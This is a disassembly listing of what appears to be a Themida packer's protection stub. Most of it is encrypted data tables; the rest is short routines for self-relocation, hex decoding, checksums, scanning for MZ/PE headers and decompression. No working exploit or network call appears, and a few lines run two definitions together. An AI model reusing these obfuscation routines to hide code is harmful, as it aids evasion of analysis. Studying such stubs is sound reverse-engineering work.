		dd offset byte_5D30D1
		dd 2 dup(0)
		dd 0FFFFFFB0h, 0
		dd offset dword_5B5100
		dd 0FFFFFFFFh, 8B32h, 5EF3AEh, 2 dup(0)
		dd offset byte_5D34AB
		dd 5 dup(0)
		dd 0FFFF5F9Eh, 0
		dd offset byte_5E6279
		dd 0
		dd 0FFFF8D68h, 0Fh dup(0)
aOj		db '¹ÙŽj',0
		align 4
a0I_2		db 'ß0Å©',0
		align 4
		dd 2 dup(0)
aFir_11		db 'ӑ|',0
		align 4
		dd 2 dup(0)
		dd 12FF54h, 4 dup(0)
aFir_12		db 'ӑ|',0
		align 4
		dd 3 dup(0)
		dd 0CAECh, 7C80ABDEh, 400E9h, 77DDEE37h, 2 dup(0)
aFir_13		db 'ӑ|',0
		align 4
		dd 9 dup(0)
		dd 7C81CDDAh, 180Fh, 2 dup(0)
		dd offset dword_57AC28+4
		dd 8 dup(0)
		dd offset aS7+2
		dd 4 dup(0)
		dd 0FFA3BE57h, 45EAE94h, 3 dup(0)
		dd 9ECEh, 0FFFBFF17h, 5AD3E6h, 12FFA4h,	2 dup(0)
		dw 3Eh
		unicode	0, <À>,0
		align 4
		dd 4 dup(0)
		dd 0E1DE586h, 5	dup(0)
		dd 0FFFF2AF0h, 0
		dd 30081FD3h, 0C0180Fh,	5DDD8Eh, 5FDCAFh, 46DFB1B7h, 0
		dd offset word_5D4B22
		dd 4928D8Dh, 8 dup(0)
		dd 56Dh, 0FFFF6211h, 0
		dd offset dword_5CB524
		dd 8 dup(0)
		dd 129ABFAh, 0E896DE4Dh, 0
		dd 129AC09h, 0C0180Fh, 0
dword_57C1CC	dd 1F4h, 3 dup(0)					; Themida_:0057BC78o
		dd 0FB7F6FA6h, 5 dup(0)
		dd 1, 3	dup(0)
		dd 0EC8h
dword_57C208	dd 0				dd 129AC09h, 0
		dd 12FFF0h, 0D03FFCh, 7	dup(0)
aDF_0		db 'DÚFÂ',0
		align 10h
		dd 0C00000h, 2 dup(0)
		dd offset dword_57DD80
		dd 3 dup(0)
		dd offset a0I+4
		dd 2 dup(0)
		dd 2, 836F146Ch, 0C09417h, 0
		dd offset unk_57A871
		dd offset dword_57A6BC
		dd 6 dup(0)
		dd 9027FDD5h, 10375Ch, 77F7F117h, 6 dup(0)
a7i		db '7›¾Õ',0
		align 10h
		db '|ìÀ',0
		align 8
aF_3:
		unicode	0, <ä>,0
		align 10h
		dd offset word_5E7D12
		dd 0A0h, 2 dup(0)
aVi		db 'VI',0Dh,0Dh,0
		align 4
		dd 0
		dd 0BC7A36h, 0
aFir_14		db 'ӑ|',0
		align 4
		dd offset byte_5C0BD3
		dd 0
		dd 12FFA4h, 3 dup(0)
		dd 0FFFFFFFEh, 0
		dd 0B817A6h, 8 dup(0)
		dd 0A8h, 12FEC8h, 0
		dd 0FFFF6617h, 3 dup(0)
aB_1		db 'ÚÍ|',0
		align 4
		dd 5 dup(0)
		dd offset byte_5B0023
		dd 5 dup(0)
		dd 0FFFE946Ch, 0
		dd 2710h, 2Ah dup(0)
		dd offset word_5B129A
		dd 7 dup(0)
		dd 12FF60h, 0BCh, 5 dup(0)
		dd 99B1h, 12FFE0h, 4 dup(0)
a9a		db 'É9A*',0
		align 10h
		dd 4 dup(0)
a0IAS		db 'ß0ũϴ€|=™',0
		align 4
		dd 6 dup(0)
aAcz		db '€æ§}',0
		align 4
		dd 4 dup(0)
		dd 400E9h, 7 dup(0)
		dd offset byte_5BA433
		dd 0C0FA37h, 0DA44h, 0
		dd 2860000h, 5 dup(0)
		dd 2DA27F8h, 4 dup(0)
		dd offset dword_5B719C
		dd 4 dup(0)
		dd 0FFFE946Ch, 0
aFirCWindowsSys	db 'ӑ|C:\WINDOWS\system32\ADVAPI32.dll',0
		align 4
		dd 39h dup(0)
		dd offset dword_5FC7A8
		align 10h
		dd offset word_5FB366
		dd 2 dup(0)
		dd 129AC09h, 2 dup(0)
dword_57C6A8	dd 4, 3	dup(0)			dd 68h,	0
		dd offset byte_5CE3FB
a333333333333	db '333333333333',0
		align 4
		dd 6 dup(0)
		dd 0B8h, 0FFA494DFh, 0Ch dup(0)
		dd 0C0180Fh, 49749180h,	0
		dd offset byte_5C59C9
		dd 74B0FD28h, 3	dup(0)
aXEf		db '¾åÐ¥”',0
		align 4
		dd 2 dup(0)
		dd 0C60213h, 9 dup(0)
		dd 1, 4	dup(0)
		dd 836F146Ch, 7	dup(0)
		dd offset byte_5A9CF7
		dd 12FFC4h, 0
		dd 7C90EB94h, 7C800001h, 8 dup(0)
		dd 1, 0
aVQ		db 'ØV;q',0
		align 4
		dd 5 dup(0)
		dd 660188FBh, 3	dup(0)
aF_4		db '$µ]f',0
		align 10h
		dd 0DA100000h, 4 dup(0)
aXavg		db 'åíVG',0
		align 4
aM_1:
		unicode	0, <Œ>,0
		dd 4 dup(0)
		dd 0C01842h, 5 dup(0)
		dd 7C80180Eh, 8	dup(0)
		dd 5698h, 4 dup(0)
		dd 0B3h, 9 dup(0)
		dd 12543FC4h, 5	dup(0)
		dd 0C59178h, 9 dup(0)
		dd 190Ah, 0
		dd offset byte_5C0BD3
		align 8
		dd offset word_5CA2B6
		dd 4 dup(0)
		dd 0DFD0B015h, 0
		dd offset dword_4E6ECC+427Ch
		dd 0
		dd offset loc_5E735D+4
		dd 0
		dd 2156F4E7h, 4	dup(0)
aNiaFir		db '­¨A~”ë|',0
		align 4
aNp		db 'NP',0
		align 4
		dd 0C0180Fh, 0
		dd 7C90EE18h, 0
		dd 224E63Eh, 2 dup(0)
aFirI		db '”ë|ˆ',0
		align 10h
		dd 0C0180Fh, 6 dup(0)
		dd 1886FEC5h, 3	dup(0)
		dd 0FCh, 2 dup(0)
		dd 113014h, 0C0FA03h, 5	dup(0)
		dd offset word_5ED70E
		align 10h
		dd 0E7156211h, 3 dup(0)
		dd 4D000h, 5D34ABh, 5 dup(0)
		dd 99E9h, 3 dup(0)
		dd offset dword_5B719C
		dd 1D835B68h, 0
		dd 76F21510h, 123BC3h, 0
		dd offset dword_57C6A8
		dd 0
		dd 3D94h
dword_57CA50	dd 0C037ECh, 0						; Themida_:0057A7C8o
		dw 3Eh
		unicode	0, <À>,0
		align 10h
		dd 0
		dd 0C8h, 17h dup(0)
		dd 0FFFF8DECh, 0B6h dup(0)
aLa		db '«€|°',0
		align 4
		dd 3 dup(0)
		dd 7E41A8ADh, 0FFFE0B6Ch, 0
		dd 0A0000h, 0
		dd 32597F5Dh, 0C2FCADh,	2 dup(0)
		dd 0C0h, 0
aUA		db 'ž*í|',0
		align 4
		dd 16B94h, 0
		dd offset word_5C4EAA
		dd 5 dup(0)
aFir_15		db 'ӑ|',0
		align 10h
		dd 2 dup(0)
		dd 0DC1E4954h, 9Ch, 3 dup(0)
		dd 5643h, 5B3656h, 7C800D10h, 2	dup(0)
		dd 0FFFF9DEFh, 1020h, 8	dup(0)
		dd 3A892314h, 3	dup(0)
		dd offset word_5EE6A6
		dd 0FDC9A77Eh, 0
		dd 0B40A4h, 0
		dd 1, 400000h, 2Eh dup(0)
aLLS		db '‹Å‹Ô`è',0
		align 4
		dd 815D0000h, 153527EDh, 85958906h, 8906152Dh, 152AA5B5h
		dd 0E5858906h, 83061527h, 1507A9BDh, 0C740006h,	0E28BE88Bh
		dd 1B8h, 0CC200h, 2424448Bh, 25598589h,	456A0615h, 0A3E8h
		dd 749A6800h, 0DFE80783h, 68000000h, 0A894B25h,	0D5E8h
		dd 214E900h, 46450000h,	4A494847h, 4E4D4C4Bh, 5251504Fh
		dd 56555453h, 5A595857h, 5E5D5C5Bh, 6261605Fh, 66656463h
		dd 6A696867h, 6E6D6C6Bh, 7271706Fh, 76757473h, 7A797877h
		dd 7E7D7C7Bh, 8281807Fh, 86858483h, 8A898887h, 8E8D8C8Bh
		dd 9291908Fh, 96959493h, 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh
		dd 0A6A5A4A3h, 0AAA9A8A7h, 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h
		dd 0BAB9B8B7h, 0BEBDBCBBh, 0C2C1C0BFh, 0C3h, 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6153615h
		mov	ebx, edx
		mov	dword ptr [ebp-28h], 0


loc_57D054:				; CODE XREF: Themida_:0057D071j
		mov	eax, [ebp-28h]
		inc	eax
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 80h
		jz	short loc_57D073
		mov	eax, [ebp+8]
		mov	[ebx+615357Fh],	eax
		inc	dword ptr [ebp+8]
		inc	ebx
		jmp	short loc_57D054
; ---------------------------------------------------------------------------


loc_57D073:				; CODE XREF: Themida_:0057D062j
		mov	[ebp-24h], eax
		popa
		mov	eax, [ebp-24h]
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 615365Eh
		lea	eax, [ebp-80h]
		mov	ebx, [ebp+8]
		mov	dword ptr [ebp-84h], 0


loc_57D0A4:				; CODE XREF: Themida_:0057D0BFj
		mov	ecx, [ebp-84h]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp-84h], ecx
		cmp	dword ptr [ebp-84h], 80h
		jnz	short loc_57D0A4
		mov	dword ptr [ebp-84h], 0
		lea	edi, [edx+615357Fh]
		lea	esi, [ebp-80h]


loc_57D0D4:				; CODE XREF: Themida_:0057D101j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_57D0E0:				; CODE XREF: Themida_:0057D0E7j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_57D0E0
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp-84h]
		inc	ecx
		mov	[ebp-84h], ecx
		cmp	ecx, 80h
		jnz	short loc_57D0D4
		popa
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_57D11E
; ---------------------------------------------------------------------------


loc_57D11A:				; CODE XREF: Themida_:0057D121j
		inc	dword ptr [ebp-4]
		inc	esi


loc_57D11E:				; CODE XREF: Themida_:0057D118j
		cmp	byte ptr [esi],	0
		jnz	short loc_57D11A
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_57D1AF
; ---------------------------------------------------------------------------


loc_57D130:				; CODE XREF: Themida_:0057D1B2j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_57D1A6
; ---------------------------------------------------------------------------


loc_57D139:				; CODE XREF: Themida_:0057D1AAj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_57D193
; ---------------------------------------------------------------------------


loc_57D149:				; CODE XREF: Themida_:0057D197j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_57D16B
		cmp	bl, 39h
		ja	short loc_57D16B
		sub	bl, 30h
		jmp	short loc_57D18D
; ---------------------------------------------------------------------------


loc_57D16B:				; CODE XREF: Themida_:0057D15Fj
					; Themida_:0057D164j
		cmp	bl, 61h
		jb	short loc_57D17D
		cmp	bl, 66h
		ja	short loc_57D17D
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_57D18D
; ---------------------------------------------------------------------------


loc_57D17D:				; CODE XREF: Themida_:0057D16Ej
					; Themida_:0057D173j
		cmp	bl, 41h
		jb	short loc_57D18D
		cmp	bl, 46h
		ja	short loc_57D18D
		sub	bl, 41h
		add	bl, 0Ah


loc_57D18D:				; CODE XREF: Themida_:0057D169j
					; Themida_:0057D17Bj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_57D193:				; CODE XREF: Themida_:0057D147j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_57D149
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_57D1A3
		mov	eax, [ebp-10h]
		stosb


loc_57D1A3:				; CODE XREF: Themida_:0057D19Dj
		inc	dword ptr [ebp-8]


loc_57D1A6:				; CODE XREF: Themida_:0057D137j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_57D139
		add	edx, 4


loc_57D1AF:				; CODE XREF: Themida_:0057D12Ej
		cmp	edx, [ebp-4]
		jb	loc_57D130
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
		dw 0B9h
		dd 8D000070h, 1537A4BDh, 470FFE06h, 0B8FA7549h,	48692121h
		dd 113000BAh, 0EA81F0h,	8DF00000h, 15389E85h, 0FF645006h
		dd 35h,	25896400h, 0
		dd 0E8h, 0B5BB5800h, 665CF2F1h,	0C22BD98Bh, 5880Fh, 86BB0000h
		dd 2507EAFAh, 0FFFFF000h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0F5C35747h, 2A877C5Bh, 0BFF7FA2Fh, 0DEB70F19h
		dd 0FF33CA8Bh, 4D388166h, 0F0E755Ah, 33C50B7h, 503A81D0h
		dd 74000045h, 10002D08h, 0EB470000h, 58F64E3h, 0
		dd 8D04C483h, 1538B195h, 0FF645206h, 35h, 25896400h, 0
		dd 2DC103h, 8B000010h, 0E6810470h, 0FFFF0000h, 0FE81h
		dd 3768000h, 331C708Bh,	32F883C0h, 81661F74h, 745A4D3Eh
		dd 0EE8109h, 40000100h,	7E8BEBEBh, 81FE033Ch, 45503Fh
		dd 0EB447400h, 58F64E8h, 0
		dd 6104C483h, 4C8B51C3h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 244C8B51h, 0E85510h,	5D000000h, 38BCED81h, 858D0615h
		dd 615387Ah, 0B88189h, 595D0000h, 96C3C033h, 58F64h, 83000000h
		dd 6A04C4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 660222C3h, 0D780DE8Bh, 0D98C666Ch, 0AE850h
		dd 466B0000h, 0AAF878F8h, 22369F09h, 0CE9h, 9D96D00h, 251C06ECh
		dd 0BC073C74h, 805B5B9Bh, 816604E1h, 0ADE50CBh,	34850FC9h
		dd 0F000000h, 85C7D9BFh, 6152DB5h, 1, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 9CC35747h, 0E9F820B6h, 0Fh
		dd 0C7E0DB80h, 152DB585h, 6, 89DE8B00h,	15168585h, 15A7BB06h
		dd 85894F7Eh, 6152811h,	0BE8h, 2B81D100h, 17432545h, 0A585F0A4h
		dd 60CEB760h, 8F0FF28Bh, 0
		dd 815A6161h, 0DBE0F0F6h, 0FDC28120h, 6800006Bh, 1ACDh
		dd 12E9h, 0B6FEF600h, 0DEEAD682h, 373D1ED6h, 36307222h
		dd 58D3064Dh, 0CE860h, 7EDC0000h, 0DEEC218Eh, 1F952C20h
		dd 8B660095h, 8B665ED0h, 0A8B61C1h, 7EDE8166h, 0B7F18110h
		dd 66639294h, 81ED68BEh, 89748AE9h, 0DE8B6627h,	4DDAC181h
		dd 60605866h, 0DE9h, 0E49B8E00h, 0C06716CFh, 13F8F7DDh
		dd 8B614FC5h, 665161D9h, 8FFA80BBh, 3EA8302h, 81DE8B60h
		dd 0C4EF19E0h, 0E84A6124h, 0Fh,	93998E26h, 995C92AAh, 0EDF2B8E1h
		dd 0BFE64707h, 70877525h, 850F485Bh, 0FFFFFF92h, 14E8FA8Bh
		dd 7E000000h, 6FD73EFFh, 56D3ED06h, 3805EEAh, 56E5F46Bh
		dd 0BF6118E4h, 7A7BE977h, 0E5F5805Eh, 6130C681h, 0E9810000h
		dd 0E0AFD4Ch, 181ABAh, 7026BF00h, 36FF1492h, 5830F58h
		dd 0BB000000h, 6E6CEBBFh, 81BDC081h, 11E84CF2h,	63000000h
		dd 8350E0D8h, 0A1A9E6E8h, 0B257F987h, 2167AD7Ah, 0E340F781h
		dd 81597D7Bh, 7DF2A2F0h, 0BFE8817Ah, 8109EE60h,	8337B5EBh
		dd 0BB66500Ah, 68F97D1h, 68F0Fh, 8B600000h, 615857C3h
		dd 0E904EE83h, 5, 96112EDBh, 1EA83D7h, 1C850Fh,	0C7800000h
		dd 25E9B1h, 59A20000h, 0EA7D08E6h, 0E3ABF9B3h, 7577873Fh
		dd 0CBC1997Ch, 73E97387h, 0CFFFFFFFh, 4BBC5773h, 0F5E36963h
		dd 0EBEFFE41h, 21B04h, 704E900h
		db 2 dup(0), 0FCh
byte_57D567	db 60h			; DATA XREF: Themida_:0057A7ACo
					; Themida_:0057AB74o
		dd 0FF18B60h, 680h, 860F00h, 61000000h,	0B8h, 6E900h, 0FB4E0000h
		dd 0E1BDC699h, 2824548Bh, 5D8589FCh, 6006150Ah,	0C3FB29BFh
		dd 0BE61F83Fh, 3Ch, 0AE9h, 18ADE500h, 0F9A44EB0h, 396F586h
		dd 0F242474h, 0C86h, 68A0F00h, 89000000h, 1527E1B5h, 89AD6606h
		dd 1518C585h, 24440306h, 519D8924h, 5006152Ch, 4840Fh
		dd 8A600000h, 48961C3h,	29506024h, 1526F595h, 0BD8B5A06h
		dd 6151459h, 78408B61h,	0BE9h, 7A9EBF00h, 7BEC6C01h, 1E448AE1h
		dd 28244403h, 9D8B60F9h, 6150981h, 61DFB70Fh, 8918408Bh
		dd 15098D95h, 0B5894006h, 6151099h, 3B2E8589h, 60FC0615h
		dd 0CEBF6660h, 0D9816662h, 8161CB8Fh, 7F0CB4F3h, 0F586133h
		dd 18Dh, 0AE9F800h, 1D000000h, 0D84269D0h, 525D54E9h, 78708BDEh
		dd 98F78160h, 8111F5A0h, 3F61D2C9h, 0C6836156h,	13E91Ch
		dd 0C1410000h, 3EE04623h, 42C89BB2h, 0D53E0D41h, 91C95AC2h
		dd 247403E9h, 8E924h, 0C69E0000h, 0D31BF1A4h, 0BD8D8144h
		dd 61521D9h, 890FADFCh,	16h, 11E9h, 0E0AEBB00h,	53678D6h
		dd 0CD1E267Ah, 1EB2130Fh, 44031C21h, 0EE92424h,	0D3000000h
		dd 99DEB772h, 0BA1B9203h, 0C33C5073h, 0FF9AB8Dh, 0E8Ah
		dd 9E900h, 8E690000h, 1E7A8D5Ah, 8D4228F9h, 15186DBDh
		dd 59B50906h, 0AD061516h, 61BD0960h, 8906150Ah,	1509299Dh
		dd 44036106h, 50F82424h, 88F0Fh, 0F600000h, 85h, 4896100h
		dd 14E924h, 5DFE0000h, 718D5B44h, 0D9BBDD0h, 827FC900h
		dd 0B3493F85h, 0F9AB9F86h, 3021BD8Dh, 0ADF50615h, 0A619D89h
		dd 44030615h, 60602824h, 1061BD89h, 8A0F0615h, 0
		dd 10F5BE61h, 0AB612B03h, 14840Fh, 0FE90000h, 0DB000000h
		dd 0D31268D8h, 60E3FEEDh, 83397522h, 0F85E7EA3h, 0DE9h
		dd 0E3756C00h, 4359F9A1h, 0A3210F2Bh, 8DFF3694h, 6153B2Eh
		dd 3B2EBD83h, 75000615h, 2444C710h, 1Ch, 0BB58D00h, 0FF061540h
		dd 3AD56E6h, 97282444h,	858ADF8Bh, 61509C5h, 474C084h
		dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh,	0D18B49C9h
		dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h,	0D166EBD1h
		dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh,	0D333C833h
		dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h,	0F74D03Bh
		dd 4C6835Eh, 0A5D85FFh,	6FE90615h, 5EFFFFFFh, 59B58B60h
		dd 3061529h, 150681B5h,	8D0F6106h, 0Ah,	33616060h, 152ED5B5h
		dd 8B606106h, 0CE960CFh, 0CC000000h, 77DA2B70h,	0EDF8014Eh
		dd 0E870F745h, 11h, 0CB4BE497h,	0D9D3DE31h, 6E43C6C7h
		dd 77992A81h, 61615AC7h, 0A5D858Bh, 860F0615h, 6, 28099589h
		dd 0E0D10615h, 8E9h, 0F4691A00h, 45390FD3h, 2185035Bh
		dd 0F5061530h, 0BEh, 0BD953100h, 96061504h, 6870Fh, 0BD090000h
		dd 6152799h, 860FAD66h,	6, 0D8DB589h, 0E0C10615h, 8D896002h
		dd 6152AF5h, 24A1B589h,	3610615h, 1521D985h, 8B0F6006h
		dd 4, 762EBA66h, 1E7D8529h, 96610615h, 0AE9h, 0EBD10000h
		dd 7A079A60h, 0ADDC3AA0h, 18B0Fh, 8BF50000h, 8924244Ch
		dd 15301D9Dh, 24440306h, 68D0F24h, 31000000h, 150CEDB5h
		dd 24448906h, 5DBD091Ch, 60061524h, 0C659D01h, 8B660615h
		dd 0E99661C3h, 6, 3803DF8Dh, 0FAC1FC2h,	1987h, 13820F00h
		dd 0E9000000h, 0Eh, 0DEB772D3h,	1B920399h, 3C5073BAh, 0C9328DC3h
		dd 4EDBD89h, 0C1FE0615h, 3371B589h, 0F600615h, 182h, 0BE8F900h
		dd 0A0000000h, 30D11746h, 0F5E18CDFh, 9D89B617h, 61520C5h
		dd 0D0D0615Ah, 0B0830Fh, 8D890000h, 6152D91h, 0F3EF8160h
		dd 8B6D9C9Ah, 15007595h, 0D0D06106h, 94830Fh, 5E90000h
		dd 89000000h, 77BBE307h, 820FD0D0h, 82h, 5DDB589h, 0D0D00615h
		dd 74820Fh, 8A0F0000h, 0Bh, 6E9h, 0A03ACC00h, 0FEBE62FAh
		dd 0A3890FC9h, 0FCFFFFFFh, 0E920C483h, 7, 44413BB4h, 293A76CFh
		dd 15301DB5h, 2444C706h, 0FCh, 9BD8900h, 0F061521h, 687h
		dd 45BD8900h, 0B806152Fh, 1, 0C860Fh, 860F0000h, 6, 46DB531h
		dd 8D8D0615h, 615720Dh,	23D8D89h, 0E1FF0615h, 0ADDBD89h
		dd 85C60615h, 61509C5h,	5E900h,	85F70000h, 61CD8E12h, 6699D01h
		dd 8C20615h, 8589F500h,	615291Dh
dword_57DA5C	dd 12840F50h, 50000000h, 0F525052h, 0F585A31h, 0F525031h
					; DATA XREF: Themida_:0057B3D4o
		dd 5A585A31h, 24348958h, 1315B589h, 0B5890615h,	615421Dh
		dd 308D89F5h, 9061542h,	152DE18Dh, 0C2B58D06h, 29061540h
		dd 152335B5h, 0E850F06h, 60000000h, 4018589h, 858B0615h
		dd 6151E81h, 0A1858D61h, 89005B8Eh, 152235BDh, 0FD0FF06h
		dd 18Fh, 605EF800h, 28C0Fh, 0D78A0000h,	2EC58D8Bh, 89610615h
		dd 1527759Dh, 8160C306h, 0EE7F21C8h, 6E949h, 0E7250000h
		dd 0B6837656h, 1DB58B61h, 89061542h, 1504BDBDh,	308D8B06h
		dd 9061542h, 1508DDB5h,	0B806h,	8D290000h, 6152CF5h, 8531D98Bh
		dd 6151E91h, 10AE9h, 8EBB6000h,	6065EEC0h, 727BBE66h, 26FD8D29h
		dd 61610615h, 9E92632h,	0A2000000h, 679504D0h, 49DD0A99h
		dd 0E9FC02B2h, 89h, 24B19589h, 0C2320615h, 10E9h, 5C539200h
		dd 82608308h, 0D39824D0h, 178EFCD3h, 0BF0F6049h, 2D41BFFAh
		dd 56117ADh, 8A751D7Ah,	18B58D29h, 0CC8A0615h, 2A5D8529h
		dd 0D3F80615h, 0E850FC8h, 60000000h, 175D8D09h,	858B0615h
		dd 6152F55h, 8423561h, 800F98D1h, 0Ch, 6860Fh, 0BD310000h
		dd 6150A45h, 7E9CAFEh, 3F000000h, 0F28A5F9Ch, 830FEA97h
		dd 0Dh,	8E9h, 0A917EE00h, 85DA0120h, 0FD20A07h,	0FFFF7585h
		dd 0AE9FFh, 1E40000h, 9505B3B6h, 68312D3Eh, 60FC8A60h
		dd 8A0Fh, 61610000h, 13E94Bh, 96EA0000h, 36BB74DAh, 6AC3A376h
		dd 2376B6CAh, 7737780Dh, 0F604625h, 68Ch, 22DF8100h, 605DFEE9h
		dd 891ADA80h, 152FFD8Dh, 0B616106h, 1850FDBh, 0E9FFFFFFh
		dd 8, 7A370505h, 0FCFCE970h, 6E9CFh, 5D350000h,	0F0A14809h
		dd 0FC0000h, 0BD896000h, 6151CA5h, 0A399523h, 610615h
		dd 0E5850900h, 61511h, 858DF900h, 6153B38h, 0AE9h, 45678100h
		dd 0C496ECB9h, 893BD8D4h, 150D7D85h, 65950106h,	8D061517h
		dd 15402D85h, 0C18B6006h, 0DCD78166h, 0DE96109h, 0C9000000h
		dd 0D950F6C7h, 606EE056h, 755817C7h, 19A58589h,	14EB0615h
		dd 4 dup(0)
		dd 0E2h, 4351858Dh, 85890615h, 615281Dh, 4291BD83h, 0F000615h
		dd 12C84h, 0C585C600h, 56061509h, 63565A68h, 2404818Bh
		dd 48BC16DFh, 1685B5FFh, 858D0615h, 6153B38h, 8589D0FFh
		dd 6154285h, 9C585C6h, 68560615h, 0BA9045B1h, 0E3243481h
		dd 0FF2638FDh, 151685B5h, 38858D06h, 0FF06153Bh, 898589D0h
		dd 6A061542h, 4E804h, 10000000h, 8B500000h, 8B042444h
		dd 24448900h, 858B5804h, 6154295h, 1F405h, 2E0C100h, 24048950h
		dd 95FF006Ah, 6154289h,	428D8589h, 0D88B0615h, 0FFFFFFB8h
		dd 1D95FFFFh, 8B061528h, 1D95FFC3h, 0E9061528h,	8Dh
dword_57DD80	dd 4291BD83h, 0F000615h, 185h, 8B57C300h, 15428DBDh, 8583AB06h
					; DATA XREF: Themida_:0057C24Co
		dd 615428Dh, 83C35F04h,	154291BDh, 850F0006h, 1, 0AD8360C3h
		dd 615428Dh, 8D9D8B04h,	83061542h, 0FFFFC7Bh, 1D85h, 0B66E6800h
		dd 4818FDAh, 25C99224h,	0FF006A70h, 8595FF33h, 61061542h
		dd 26E9C3h, 4E80000h, 0
		dd 50000080h, 424448Bh,	4489008Bh, 6A580424h, 0FF33FF00h
		dd 15428595h, 8DAD8306h, 4061542h, 0FFFFA8E9h, 0ADE948FFh
		dd 60000001h, 2424748Bh, 28247C8Bh, 8A80B2FCh, 7884606h
		dd 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h, 0FFFFE283h
		dd 0FD202FFh, 585h, 46168A00h, 830FD212h, 6Ah, 0D202C033h
		dd 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h, 585h
		dd 46168A00h, 0C013D212h, 850FD202h, 5,	1246168Ah, 2C013D2h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C013h,	5850Fh
		dd 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh
		dd 4707885Fh, 2BBh, 0FF70E900h,	1B8FFFFh, 2000000h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h
		dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h
		dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h
		dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh
		dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h
		dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h
		dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh
		dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h
		dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h,	1784h
		dd 2D18300h, 8B56E88Bh,	0F3F02BF7h, 1BB5EA4h, 0E9000000h
		dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 9D3E900h
		dd 2BE70000h, 9488BE95h, 5A199A8Eh, 0D20FEFEDh,	5E14CCAAh
		dd 0F50720F8h, 7D5C11A6h, 0CF36F42Ch, 0DBAC13Eh, 0D683B395h
		dd 4D0B9282h, 0C01EBCBFh, 151B89ADh, 0FF774397h, 7C4105ACh
		dd 0CF36A620h, 0EB5C73Ch, 0D699B395h, 52118F9Dh, 0DE02A2BFh
		dd 1B0F9EB6h, 0B34320FCh, 6D4101BBh, 8137F46Dh,	18A1C729h
		dd 999FAA95h, 521F8F9Ch, 0B1h, 62h dup(0)
		dd 2BE70000h, 9882B795h, 4D118992h, 0DC15BFBFh,	56179EBEh
		dd 0E04626BDh, 7C5706E9h, 0CE25A662h, 4AB0C625h, 9883AFC7h
		dd 1F199392h, 0CA47A1F6h, 1B0499B6h, 0E75437EEh, 131C09ACh
		dd 0C42FD601h, 46B1DB31h, 9A83AF95h, 1F1A9C94h,	0D547BBF6h
		dd 1B1B83ABh, 0FC4A2BF0h, 78121DBBh, 0D363E262h, 0BA0DB35h
		dd 8FCDAEC7h, 1F0C8894h, 0D408BDEFh, 151B8DABh,	48h dup(0)
		dd 2BE70000h, 979FB995h, 4D1B9698h, 0C747BCB8h,	1B1A83B6h
		dd 0B3542FF5h, 775701ABh, 0D42CE02Ch, 18F4CC3Eh, 9F83B4C0h
		dd 565E9A95h, 0DC1EEFF1h, 48569EACh, 0F6533DE4h, 14384AA4h
		dd 0C026EA5Ch, 4AF8CD23h, 9981B4C0h, 565E999Ah,	0C101EFEBh
		dd 565681B6h, 0E14823F8h, 775344B0h, 0C431A668h, 18B5DC23h
		dd 9994FAC1h, 4F5E8F8Eh, 0C100A0EDh, 5881B8h, 61h dup(0)
